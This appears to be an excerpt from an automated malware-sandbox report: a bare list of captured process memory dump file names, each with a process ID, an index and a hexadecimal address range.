                                                                                                                                                                                          memory/3004-273-0x0000000004A60000-0x0000000004A61000-memory.dmp

                                                                                                                                                                                          memory/3004-301-0x0000000004F60000-0x0000000004F61000-memory.dmp

                                                                                                                                                                                          memory/3004-314-0x0000000005570000-0x0000000005571000-memory.dmp

                                                                                                                                                                                          memory/3004-278-0x0000000004A52000-0x0000000004A53000-memory.dmp

                                                                                                                                                                                          memory/3216-353-0x0000000006580000-0x0000000006581000-memory.dmp

                                                                                                                                                                                          memory/3216-429-0x0000000002890000-0x0000000002891000-memory.dmp

                                                                                                                                                                                          memory/3216-431-0x0000000002850000-0x0000000002851000-memory.dmp

                                                                                                                                                                                          memory/3216-300-0x00000000027E0000-0x00000000027E1000-memory.dmp

                                                                                                                                                                                          memory/3216-430-0x00000000028A0000-0x00000000028A1000-memory.dmp

                                                                                                                                                                                          memory/3216-283-0x0000000000B90000-0x0000000000BF0000-memory.dmp

                                                                                                                                                                                          memory/4164-400-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                                                                                                                                                          memory/4372-356-0x0000000005830000-0x0000000005831000-memory.dmp

                                                                                                                                                                                          memory/4408-348-0x0000000000650000-0x0000000000651000-memory.dmp

                                                                                                                                                                                          memory/4580-351-0x00000000007F0000-0x00000000007F1000-memory.dmp

                                                                                                                                                                                          memory/4648-397-0x0000000005050000-0x0000000005656000-memory.dmp

                                                                                                                                                                                          memory/4704-375-0x0000000000400000-0x000000000043D000-memory.dmp

                                                                                                                                                                                          memory/4736-377-0x0000000000400000-0x000000000043D000-memory.dmp

                                                                                                                                                                                          memory/4856-405-0x0000000005360000-0x0000000005966000-memory.dmp

                                                                                                                                                                                          memory/5008-366-0x0000000000400000-0x00000000004CC000-memory.dmp

                                                                                                                                                                                          memory/5080-419-0x00000000050F0000-0x00000000056F6000-memory.dmp